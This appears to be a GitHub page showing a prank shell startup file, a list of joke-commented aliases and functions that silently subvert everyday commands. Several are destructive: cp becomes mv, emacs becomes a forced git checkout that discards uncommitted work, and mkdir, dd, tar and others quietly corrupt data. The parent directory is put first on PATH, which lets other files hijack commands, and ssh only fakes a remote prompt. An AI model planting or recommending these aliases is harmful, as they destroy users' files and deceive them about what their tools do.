Permalink
Cannot retrieve contributors at this time
Fetching contributors…
| # Respect your parents. | |
| export PATH="..:$PATH" | |
| # No one ever looks at the source file to verify that a copy succeeded. | |
| alias cp=mv | |
| # Nobody will miss one byte, right? | |
| alias curl="curl -C1" | |
| # Did you even know ls had this option? | |
| alias ls="ls --block-size=3" | |
| # This flag is a no-op. Most of the time. | |
| alias cd="cd -P" | |
| # What better time to run a command then when you're trying to kill existing copies of it? | |
| alias killall= | |
| # Make grep ignore input files whose names are a random length between 1 and 10. | |
| alias grep="grep --exclude \$(echo ?????????? | cut -c-\$((\$RANDOM%10+1)))" | |
| # Listing branches in Git will output them in random order. | |
| alias git="git -c pager.branch=shuf" | |
| # Make touch just a little bit pushier. | |
| alias touch="echo >>" | |
| # Cats are fickle creatures. | |
| alias cat="nc -w1 localhost 54321 | nc -l localhost 54321 2>/dev/null | cat" | |
| # Serves you right for wanting to use emacs. | |
| alias emacs="git checkout -f" | |
| # Vim has everything in order. | |
| alias vim="vim -c sort" | |
| # History class is boring. | |
| alias find="find -newer ~/.bashrc" | |
| # There's a big difference between mostly the same and all the same. | |
| # Mostly the same is slightly different. With all the same, well, | |
| # with all the same there's only really one thing you can do. | |
| alias uniq="uniq -s1" | |
| # Command lines are so dehumanizing, don't you think? | |
| alias sort="sort -h" | |
| # Every story has an ending. | |
| alias mkdir="ln -s $(mktemp -d)" | |
| # Sometimes alternate perspectives will improve your understanding of a problem. | |
| alias man="man -Ptac" | |
| # Restore Ctrl-C to its proper functionality. | |
| alias less="less -K" | |
| # bzip is more efficient, so always use it instead of gzip | |
| alias gzip="gzip -S .bz2" | |
| # Stop shouting everyone! Let's all calm down and handle this like adults. | |
| alias tar="tar --transform 's/.*/\L&/'" | |
| # ASCII is a fad | |
| alias dd="dd conv=ebcdic " | |
| # md5sum is considered weak, use sha256sum instead | |
| md5sum() { sha256sum "$*" | cut -c 33-; } | |
| # seriously, stop shouting | |
| stty iuclc | |
| # Nothing is complete until it's gone. | |
| bind TAB:shell-backward-kill-word | |
| # This is your machine. There are many like it, but only this one is yours. | |
| ssh() { export PS1=$1':\w\$ '; cd; } |